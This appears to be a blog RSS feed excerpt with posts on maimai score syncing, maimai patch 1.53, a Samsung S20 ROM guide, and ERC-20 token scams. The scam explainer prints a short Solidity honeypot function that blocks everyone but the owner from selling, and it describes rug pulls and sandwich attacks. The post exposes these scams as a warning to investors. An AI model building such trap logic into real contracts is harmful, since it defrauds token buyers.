&lt;p&gt;This method requires providing &lt;strong&gt;SGWCMAID&lt;/strong&gt;, that is, your QR code. It&apos;s not recommended: &lt;strong&gt;since the 1.53 update, the QR code is the only credential, so every feature that asks for the QR code carries risk&lt;/strong&gt;. This article won&apos;t provide any relevant channel; choose a tech tool you consider reliable to upload&lt;/p&gt;
&lt;h2&gt;2. LXNS Score Tracker&lt;/h2&gt;
&lt;p&gt;LXNS is much simpler; you only need to configure the proxy&lt;/p&gt;
&lt;p&gt;Make sure you have an LXNS account&lt;/p&gt;
&lt;h3&gt;2.1 Using the proxy sync provided by LXNS&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Log in to the &lt;a href=&quot;https://maimai.lxns.net/&quot;&gt;LXNS official site&lt;/a&gt;, tap the top-left menu, and select &lt;code&gt;同步游戏数据&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can manually set up an HTTP proxy in your system&apos;s WLAN settings; here we&apos;ll mainly demonstrate configuring it with a proxy tool&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::tip[Android]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Install Clash Meta; you can download the installer from &lt;a href=&quot;https://atlas.chongxi.us/@s/WPbGnWBS&quot;&gt;Atlas Storage&lt;/a&gt; or the &lt;a href=&quot;https://github.com/MetaCubeX/ClashMetaForAndroid/releases&quot;&gt;GitHub Repo&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Copy &lt;code&gt;https://maimai.lxns.net/api/v0/proxy-config/clash&lt;/code&gt;, open Clash Meta, tap the &lt;strong&gt;配置文件&lt;/strong&gt; button, and add the proxy configuration as shown in the screenshots&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./asset/19.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/20.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/21.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/22.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/23.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/24.webp&quot; alt=&quot;cmfa&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;:::tip[iOS/iPadOS]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Install Shadowrocket or another supported proxy tool&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tap &lt;code&gt;配置&lt;/code&gt; in the bottom bar, then tap the plus button in the top-right corner and paste the link&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Just start it
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;Once the page shows that the proxy configuration succeeded, copy the sync link, open WeChat, find &lt;em&gt;File Transfer&lt;/em&gt; or another trusted conversation, send and tap the link to complete the sync&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/25.webp&quot; alt=&quot;sync&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/26.webp&quot; alt=&quot;sync&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/27.webp&quot; alt=&quot;sync&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3. Appendix&lt;/h3&gt;
&lt;p&gt;If you&apos;re a developer, you can refer to &lt;a href=&quot;/en/posts/bakapiano/&quot;&gt;bakapiano&lt;/a&gt;&apos;s approach of pulling scores through friends for a non-invasive sync, though it may be more troublesome; this is only a small hint. If you know of more non-invasive sync methods, leave a comment below and this article will be updated&lt;/p&gt;
</content:encoded><category>maimai</category><category>游戏</category><author>Chongxi</author></item><item><title>What Is Issuing a Coin? Seeing the Blockchain Fungible Token Scam Clearly in One Article</title><link>https://xice.cx/en/posts/fkERC20/</link><guid isPermaLink="true">https://xice.cx/en/posts/fkERC20/</guid><description>The Web3 financial myth collapses: why retail investors don&apos;t even qualify as leeks, and a full breakdown of the ERC-20 token scam.</description><pubDate>Sat, 10 Jan 2026 17:35:21 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;That 114514 meme coin has been getting a lot of attention lately. This article is not investment advice; it aims to demystify coin issuance and tear open the myth of web3 finance&lt;/p&gt;
&lt;p&gt;If you don&apos;t understand web3, you can read my earlier post &lt;a href=&quot;/en/posts/whatIsWeb3/&quot;&gt;What Is Web3? From State Machines to Decentralized Finance, the Clearest Look at What Web3 Actually Is&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;1. What Issuing a Coin Is&lt;/h2&gt;
&lt;p&gt;In the Web3 world, issuing a coin isn&apos;t printing banknotes; it&apos;s writing code. The most common standard is &lt;strong&gt;ERC-20&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.1 What Issuing a Coin Looks Like&lt;/h3&gt;
&lt;p&gt;Issuing a coin is really just writing a Class that implements the &lt;code&gt;IERC20&lt;/code&gt; interface. As long as your code contains the following core logic, the blockchain recognizes what you issued as a &quot;coin&quot;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;totalSupply()&lt;/code&gt;: tells everyone how many coins exist in total&lt;/li&gt;
&lt;li&gt;&lt;code&gt;balanceOf(address)&lt;/code&gt;: looks up how many coins someone has&lt;/li&gt;
&lt;li&gt;&lt;code&gt;transfer(to, amount)&lt;/code&gt;: how many coins A transfers to B&lt;/li&gt;
&lt;li&gt;&lt;code&gt;approve()&lt;/code&gt; &amp;amp; &lt;code&gt;transferFrom()&lt;/code&gt;: authorizes someone else (an exchange, say) to move your coins&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 The Core Data Structure&lt;/h3&gt;
&lt;p&gt;The heart of the whole contract is actually just this line of code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mapping(address =&amp;gt; uint256) private _balances;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a hash table&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Key&lt;/strong&gt;: the wallet address, like &lt;code&gt;0x123...&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value&lt;/strong&gt;: the balance number, like &lt;code&gt;114514&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Issuing a coin is defining an immutable Excel sheet, with addresses as the header and balances as the contents&lt;/p&gt;
&lt;h3&gt;1.3. Compilation&lt;/h3&gt;
&lt;p&gt;The blockchain can&apos;t read the Solidity code you wrote; it needs to be translated into machine language&lt;/p&gt;
&lt;h4&gt;1.3.1 Bytecode&lt;/h4&gt;
&lt;p&gt;The code is converted by a compiler (such as &lt;code&gt;solc&lt;/code&gt;) into a long string of hexadecimal characters like &lt;code&gt;6080604052348015610010...&lt;/code&gt;. That&apos;s what actually runs inside the Ethereum Virtual Machine, the EVM&lt;/p&gt;
&lt;h4&gt;1.3.2. ABI, Application Binary Interface&lt;/h4&gt;
&lt;p&gt;This is a JSON file, essentially a README. It tells wallets and exchanges: this contract has a function called &lt;code&gt;transfer&lt;/code&gt;, which takes two parameters, one an address and one an amount&lt;/p&gt;
&lt;h3&gt;1.4 Deployment&lt;/h3&gt;
&lt;h4&gt;1.4.1. Sending a Special Transaction&lt;/h4&gt;
&lt;p&gt;Issuing a coin on mainnet is essentially sending a transaction to the blockchain&apos;s empty address &lt;code&gt;0x0&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;**Payload: that&apos;s the Bytecode generated above&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Fee&lt;/strong&gt;: the miner fee, which I prefer to call fuel. On mainnet, this step costs real money (ETH/SOL). Because you&apos;re occupying storage space on nodes worldwide, you have to pay for it&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;1.4.2. On-Chain Confirmation&lt;/h4&gt;
&lt;p&gt;Miners/validators package your transaction and write it into a block&lt;br /&gt;
Once written, the EVM executes your &lt;code&gt;Constructor&lt;/code&gt;, which usually does two things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mint&lt;/strong&gt;: writes &lt;code&gt;1145140000...&lt;/code&gt; coins directly under your (the deployer&apos;s) address&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Generate an address&lt;/strong&gt;: computes a brand-new contract address from your wallet address and transaction count&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At this point your coin has been born. It lies quietly in some block on the blockchain, but its value is still 0, because it isn&apos;t in anyone&apos;s wallet yet, nor on any exchange&lt;/p&gt;
&lt;h3&gt;1.5 Open-Source Verification&lt;/h3&gt;
&lt;p&gt;Because all that&apos;s on-chain is bytecode (gibberish), nobody dares buy. People are afraid you wrote a backdoor, so source verification is needed&lt;/p&gt;
&lt;h4&gt;1.5.1 Etherscan&lt;/h4&gt;
&lt;p&gt;You upload your source code to the block explorer Etherscan&lt;br /&gt;
Etherscan compiles your source on the spot, and if the resulting bytecode matches the on-chain bytecode exactly, it gets a green checkmark&lt;/p&gt;
&lt;p&gt;Passing verification means showing your hand to the whole world. Of course, auditable doesn&apos;t mean safe — plenty of sophisticated leek-harvesting logic (hidden fee rates, blacklist mechanisms) is open source and ordinary leeks still can&apos;t understand it&lt;/p&gt;
&lt;h2&gt;2. Alchemy&lt;/h2&gt;
&lt;p&gt;In the traditional stock market, to sell a stock there must be someone on the other side placing a buy order&lt;br /&gt;
But on Web3&apos;s decentralized exchanges there is no order book, only a &lt;strong&gt;mathematical formula&lt;/strong&gt; and a &lt;strong&gt;pool&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.1 Automated Market Makers, AMM&lt;/h3&gt;
&lt;p&gt;This is DeFi&apos;s greatest invention and also its most violent harvesting tool. There&apos;s only one core formula:&lt;/p&gt;
&lt;p&gt;$$ x \times y = k $$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$x$: the number of &lt;strong&gt;CEPATO coins&lt;/strong&gt; in the pool.&lt;/li&gt;
&lt;li&gt;$y$: the amount of &lt;strong&gt;ETH&lt;/strong&gt; (real money) in the pool.&lt;/li&gt;
&lt;li&gt;$k$: a constant (unchanged as long as nobody adds or removes liquidity)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Briefly&lt;br /&gt;
When you use ETH to buy CEPATO coins:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The ETH ($y$) in the pool &lt;strong&gt;increases&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;To keep $k$ unchanged, the CEPATO coins ($x$) in the pool must &lt;strong&gt;decrease&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Where did the coins that disappeared go? &lt;strong&gt;Into your wallet&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Because there are fewer coins and more money in the pool, the average price of the remaining coins naturally &lt;strong&gt;rises&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 The Market Maker&apos;s Perspective&lt;/h3&gt;
&lt;p&gt;As the issuer, you&apos;re the first person to create this pool. &lt;strong&gt;This means you are God; you can define the initial price however you like.&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to a coin issuance platform: connect your wallet, choose &quot;Create trading pair&quot;&lt;/li&gt;
&lt;li&gt;Inject assets:
&lt;ul&gt;
&lt;li&gt;Asset A: put in &lt;strong&gt;1,000,000 CEPATO Coin&lt;/strong&gt; (air)&lt;/li&gt;
&lt;li&gt;Asset B: put in &lt;strong&gt;1 ETH&lt;/strong&gt; (real money)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A price is born
&lt;ul&gt;
&lt;li&gt;At this point, through division, the initial price is physically locked at: &lt;strong&gt;1 ETH = 1,000,000 CEPATO Coin&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Or in other words: &lt;strong&gt;1 CEPATO Coin = 0.000001 ETH&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A market cap comes into being without an audit, without a roadshow, without financial reports. All it takes is me being willing to put up 1 ETH to play along with this pile of code, and it has a market cap&lt;/p&gt;
&lt;h3&gt;2.3. LP Token: The Key to the Vault (and the Tool for Running Off)&lt;/h3&gt;
&lt;p&gt;When you put coins and money into the issuance platform, the platform gives you a receipt called an &lt;strong&gt;LP Token (Liquidity Provider Token)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This LP Token is crucial: it represents your ownership of the pool&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The compliant play:
To reassure the leeks, the market maker usually sends this LP Token to a black hole address or locks it on a third-party platform. This means &lt;em&gt;I&apos;ve destroyed the vault key, I can&apos;t withdraw the money in the pool, everyone charge in with confidence&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The harvest play
The market maker keeps the LP Token in their own wallet&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Wait for the leeks to buy in crazily, pumping 1 ETH up to 100 ETH&lt;/li&gt;
&lt;li&gt;At this point the pool holds: &lt;strong&gt;a small amount of CEPATO coins&lt;/strong&gt; + &lt;strong&gt;100 ETH&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The market maker takes the LP Token to the platform and clicks &lt;strong&gt;移除流动性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The market maker takes all the ETH in the pool and runs. The coins in retail investors&apos; hands can suddenly no longer be sold (because there&apos;s no money in the pool), and the price instantly goes to zero&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4. Slippage and Price Impact&lt;/h3&gt;
&lt;p&gt;This is a side effect of the AMM mechanism, and also the mathematical weapon big players use to harvest retail&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A pool is tiny, holding only 1 ETH&lt;/li&gt;
&lt;li&gt;Some rich guy suddenly comes along with 0.5 ETH to buy coins&lt;/li&gt;
&lt;li&gt;That single trade drains half the pool&apos;s liquidity. Per $x \times y = k$, the price shoots up exponentially&lt;/li&gt;
&lt;li&gt;Even though the rich guy pushed the price up, his own entry cost was extremely high — he bought at the very top&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A small pool (a shitcoin play) is like a small puddle: throw in a little money and it spikes or crashes. That&apos;s the mathematical reason shitcoins so easily do &quot;100x&quot; and &quot;to zero&quot;&lt;/p&gt;
&lt;p&gt;But do you think that, as the market maker holding the LP key, you can sit back and harvest leeks in peace?&lt;br /&gt;
&lt;strong&gt;How naive&lt;/strong&gt;&lt;br /&gt;
Next, welcome to &lt;strong&gt;Web3&apos;s dark forest&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;3. Ordinary People Are Just Leeks&lt;/h2&gt;
&lt;p&gt;When you initiate a bank transfer, only you and the bank know&lt;br /&gt;
The blockchain is a fully transparent glass room: when you initiate a transaction, before it&apos;s confirmed, the whole world can see it&lt;/p&gt;
&lt;p&gt;Out of this was born a species unique to Web3: the MEV bot, commonly known as a &quot;scientist&quot;&lt;/p&gt;
&lt;h3&gt;3.1 The Queue&lt;/h3&gt;
&lt;p&gt;When you click confirm on a transaction in MetaMask, your transaction isn&apos;t written to a block immediately; it first flies to a public waiting lounge called the mempool&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Miners pick transactions from the mempool to package into blocks. Who gets picked? &lt;strong&gt;Whoever pays more fuel gets on first&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Bots monitor the mempool 24 hours a day. The moment they spot a fat fish queuing up, they use the &lt;strong&gt;gas bidding mechanism&lt;/strong&gt; to carry out an attack&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2. Attack Demonstration&lt;/h3&gt;
&lt;h4&gt;3.2.1 Front-Running&lt;/h4&gt;
&lt;p&gt;Say you notice &lt;code&gt;CEPATO coin&lt;/code&gt; looks promising and decide to go heavy with &lt;strong&gt;10 ETH&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A bot spots your large buy order while scanning the mempool. It quickly calculates: &lt;em&gt;once this buy order fills, it will push the coin price up 5%&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;The bot immediately sends its own buy order for the same coin, but its &lt;strong&gt;gas fee is 1 dollar higher than yours&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The miner sees the bot paying more and puts the bot&apos;s transaction ahead of yours.&lt;/li&gt;
&lt;li&gt;*The result:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Block N&lt;/strong&gt;: the bot buys -&amp;gt; price pushed up 5%&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block N+1&lt;/strong&gt;: you enter -&amp;gt; you&apos;re forced to buy in at a price 5% higher&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Profit&lt;/strong&gt;: the bot sells right back, risk-free arbitrage on that 5% spread&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It&apos;s like you&apos;re queuing in the cafeteria for the last portion of braised pork; you&apos;ve just swiped your card when a bot rushes over, gives the lunch lady 5 extra yuan to snatch the meat away, then turns around and sells it to you at a markup&lt;/p&gt;
&lt;h4&gt;3.2.2 Sandwich Attacks&lt;/h4&gt;
&lt;p&gt;This is the advanced version of front-running, and it eats from both ends&lt;/p&gt;
&lt;p&gt;Say you want to buy a large amount of &lt;code&gt;CEPATO coin&lt;/code&gt;, and you&apos;ve set 10% slippage (meaning you&apos;ll accept a fill price at most 10% worse than the current one)&lt;/p&gt;
&lt;p&gt;The bot&apos;s procedure is as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The first bite:
The bot detects your slippage tolerance, sends a huge buy order with gas maxed out, &lt;strong&gt;and forcibly cuts in line ahead of you to buy&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;The coin price spikes instantly, stopping right at the 10% slippage limit you set&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The middle layer:
It&apos;s your transaction&apos;s turn to execute. Since the price is still within your tolerance (even though it&apos;s the peak), your transaction fills
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Your large buy pushes the already-spiked price up a bit further&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The third bite:
The bot sends a sell order with gas set slightly lower than yours, selling right after you
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;The bot bought at the lowest point and sells at the highest point that you pushed it to&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Your transaction is effectively sandwiched between two bot transactions. &lt;strong&gt;Every cent of premium you pay on the buy becomes the bot&apos;s profit.&lt;/strong&gt; This is why retail investors on-chain often feel like the price drops the moment they buy&lt;/p&gt;
&lt;h4&gt;3.3.3 Honeypot&lt;/h4&gt;
&lt;p&gt;If the attacks above are bandits from outside, then a &lt;strong&gt;Honeypot&lt;/strong&gt; is a trap set by the project team (that&apos;s you)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 这是一个简化的貔貅逻辑
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
    // 如果是卖出操作（to 是 Uniswap 池子地址）
    if (to == uniswapPair) {
        // 只有庄家（owner）能卖，其他人报错
        require(from == owner, &quot;弱智，你被骗了&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Retail investors watch the chart soar (because you can only buy, never sell), see their account balance turn into millions of dollars, click sell in excitement, and the wallet pops up a red Transfer Failed&lt;/p&gt;
&lt;h4&gt;3.3.4 Pulling the Pool&lt;/h4&gt;
&lt;p&gt;As mentioned earlier, after adding a pool you get an &lt;strong&gt;LP Token&lt;/strong&gt;&lt;br /&gt;
As long as this credential is still in the market maker&apos;s hands, the market maker is the president of this bank&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The harvest process:
&lt;ol&gt;
&lt;li&gt;The market maker issues a coin and adds a pool of 1 ETH&lt;/li&gt;
&lt;li&gt;Everyone charges in like crazy; the pool now holds 100 ETH&lt;/li&gt;
&lt;li&gt;Late at night, the market maker opens Uniswap and clicks &lt;strong&gt;移除流动性&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The outcome:
&lt;ul&gt;
&lt;li&gt;The market maker takes the 100 ETH in the pool&lt;/li&gt;
&lt;li&gt;Retail investors are left holding a pile of &lt;code&gt;CEPATO Coin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;At this point the retail coins still exist and aren&apos;t locked, but &lt;strong&gt;there&apos;s nowhere left to exchange them&lt;/strong&gt;. The price instantly goes to zero (the divisor becomes 0)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some market makers will say: I locked the LP Token on a third-party platform, I&apos;m safe&lt;br /&gt;
In fact, he may have locked it for 1 month. A month later it unlocks automatically, right when the project&apos;s hype has cooled and the leeks have let their guard down the most, and then he pulls the pool&lt;/p&gt;
&lt;h4&gt;3.3.5 The Permission Backdoor&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;The coin price rises to 100 yuan each, with a total supply of 1 million&lt;/li&gt;
&lt;li&gt;The market maker calls the hidden &lt;code&gt;mint()&lt;/code&gt; function in the contract (only the Owner can call it) and &lt;strong&gt;prints 100 million coins out of thin air&lt;/strong&gt; for himself&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dumping&lt;/strong&gt;:
The market maker takes these 100 million zero-cost coins and sells them all into the pool at once
The money in the pool is drained, and the coin price instantly becomes 0.0000001&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. Conclusion&lt;/h2&gt;
&lt;p&gt;What&apos;s called Web3&apos;s &quot;tokenomics&quot;, once you strip away all the fancy jargon, is mostly just a &lt;strong&gt;game of betting on a greater fool&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Issuing a coin&lt;/strong&gt;: takes 5 minutes, Ctrl+C a piece of code, cost is zero&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value&lt;/strong&gt;: as long as someone believes in it, air can be exchanged for ETH&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The environment&lt;/strong&gt;: outside there are MEV bots hunting 24 hours a day, inside there&apos;s a market maker ready to pull the pool and run at any moment&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;If you&apos;re a technical person&lt;/strong&gt;: go play on a testnet, write some Solidity, study the AMM math formula, and you&apos;ll marvel at the exquisite design of the decentralized ledger. This really is progress in computer science&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you&apos;re a gambler&lt;/strong&gt;: please remember that on mainnet, what you&apos;re facing isn&apos;t luck, but &lt;strong&gt;asymmetric code privileges&lt;/strong&gt; and &lt;strong&gt;millisecond-level algorithmic harvesting&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this dark forest, only one kind of person is guaranteed to profit:&lt;br /&gt;
&lt;strong&gt;the people selling shovels, and those of us issuing coins on a testnet just for fun&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.1&lt;/h3&gt;
&lt;p&gt;Next up: how to issue a coin on a testnet&lt;/p&gt;
</content:encoded><category>Web3</category><category>安全</category><author>Chongxi</author></item><item><title>A Quick Look at What maimai Mainland Server Patch 1.53 Changes</title><link>https://xice.cx/en/posts/153/</link><guid isPermaLink="true">https://xice.cx/en/posts/153/</guid><description>A quick look at the maimai mainland server 1.53 update.</description><pubDate>Tue, 06 Jan 2026 14:35:21 GMT</pubDate><content:encoded>&lt;p&gt;Time&apos;s short, the workload&apos;s heavy&lt;/p&gt;
&lt;h2&gt;0. Why this change&lt;/h2&gt;
&lt;p&gt;First, maimai&apos;s own security architecture never accounted for the mainland server&apos;s environment. Who could have imagined someone could pull the hard drive out of a cabinet&lt;/p&gt;
&lt;p&gt;Second, cheating running rampant on the mainland maimai server isn&apos;t a one-day thing, and the main trigger this time was ttnk publishing the player database and account-killing scripts; before that there had been several large-scale full-server account scans and black-room incidents. After the ttnk incident, the mainland server went down for five days of maintenance and added mainland-exclusive security patches, and today&apos;s 1.53 is an upgrade on top of the original foundation&lt;/p&gt;
&lt;h2&gt;1. First patch addition&lt;/h2&gt;
&lt;h3&gt;1.1 Changing the QR code service URL&lt;/h3&gt;
&lt;p&gt;The original address &lt;code&gt;http://wq.sys-allnet.cn/qrcode/req/&lt;/code&gt; was changed to &lt;code&gt;https://wq.wahlap.net/qrcode/req/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;HTTP was upgraded to HTTPS, which blocks QR code hijacking&lt;/p&gt;
&lt;p&gt;:::CAUTION&lt;br /&gt;
Only the QR code service URL was changed this time; the game servers and so on weren&apos;t touched. Changing the game server requires pushing a cabinet program — it&apos;s not something you can just change. Anyone spreading rumours about the &lt;em&gt;game server URL being swapped&lt;/em&gt; is either stupid or malicious
:::&lt;/p&gt;
&lt;h3&gt;1.2 Forced token verification LEVEL ALPHA&lt;/h3&gt;
&lt;p&gt;Before User ID Login, you&apos;re now forced to use a QR code to obtain the UID, you must sign with &lt;em&gt;chiral matter&lt;/em&gt;, and UID Login and Logout must use the same signature&lt;/p&gt;
&lt;p&gt;This means logging in directly via user ID &lt;strong&gt;stops working outright&lt;/strong&gt;; malicious hacks can no longer log into your account directly. For now this only affects uploads&lt;/p&gt;
&lt;h2&gt;2. The 1.53 additional patch&lt;/h2&gt;
&lt;h3&gt;2.1 Forced token verification LEVEL BETA&lt;/h3&gt;
&lt;p&gt;After the 1.53 rollout, almost all operations are forced to go through QR code token verification, including preview (fetching basic player info), a targeted strike against malicious scripts that build whole-server databases&lt;/p&gt;
&lt;h3&gt;2.2 Fixing 0010&lt;/h3&gt;
&lt;p&gt;Fixed the problem where malicious hacks handed out the &quot;滚木&quot; collectible and crashed the cabinet. All currently known methods have been fixed&lt;/p&gt;
&lt;h3&gt;2.3 Changing methods&lt;/h3&gt;
&lt;p&gt;For the method of implementing &lt;em&gt;chiral network&lt;/em&gt; server communication leaked in the currently known scripts, the implementation has been modified. After 1.53 goes out, they are &lt;strong&gt;all... of... them... done for&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;3. Account recovery guide&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wj.qq.com/s2/25370142/3bca/&quot;&gt;Official appeal form&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If malicious scripts blew up your account and stuffed it with abnormal data, I recommend sorting it out through the official form. It&apos;s fast — huge thumbs up&lt;/p&gt;
&lt;h2&gt;4. Conclusion&lt;/h2&gt;
&lt;p&gt;After these two updates, 100.4999% of &lt;strong&gt;malicious hacks&lt;/strong&gt; will be killed outright, along with 90% of script kiddies and the tech-HDD resellers on Xianyu. For ordinary players this is &lt;strong&gt;a good thing, a good thing, all good things&lt;/strong&gt;; script kiddies got what was coming to them, meow&lt;/p&gt;
&lt;p&gt;When the update will be applied is unknown, probably 2weeks; during this period the Japanese side has probably been busy adding verification. When the cabinet song data update will be applied is also unknown, but that&apos;s forgivable — at least this time the protection is stricter than the international server&lt;/p&gt;
&lt;h2&gt;5. Debunking&lt;/h2&gt;
&lt;p&gt;Regarding the image below, the claim that &lt;em&gt;SEGA officially adopted Xiong Guling&apos;s solution&lt;/em&gt; is false. It&apos;s a group chat doing a bit and role-playing. Everything this update fixes has nothing whatsoever to do with the solution Xiong Guling proposed. Please judge for yourselves. Trusting a chat log is no better than believing I&apos;m Qin Shi Huang — after all, I wouldn&apos;t lie to you&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./153/1.webp&quot; alt=&quot;wtf&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./153/2.webp&quot; alt=&quot;wtf&quot; /&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><category>游戏</category><author>Chongxi</author></item><item><title>A Full Guide to Flashing Near-Stock Evolution X and Kernel SU on a Samsung S20 (SDM-G9810)</title><link>https://xice.cx/en/posts/evolutionYourS20/</link><guid isPermaLink="true">https://xice.cx/en/posts/evolutionYourS20/</guid><description>Flashing Evolution X on a Samsung S20: a near-stock Android 14 GSI plus KernelSU NEXT tutorial</description><pubDate>Wed, 31 Dec 2025 14:18:00 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;What can I say about the Samsung S20? It&apos;s one of those phones people hang onto forever. The main reason is that this phone is just too perfect (aside from the slow charging); I&apos;ve never come across a phone with better in-hand feel than it. And for someone like me who doesn&apos;t play mobile games, 12+256 is basically acceptable — photos and videos all live on the NAS anyway, and the apps themselves don&apos;t take up much storage. The only downside is that the software can&apos;t keep up: although OneUI 5.1 is good enough for retirement, the load is still a bit much for this five-year-old device (?), and so came this attempt at flashing near-stock Android&lt;/p&gt;
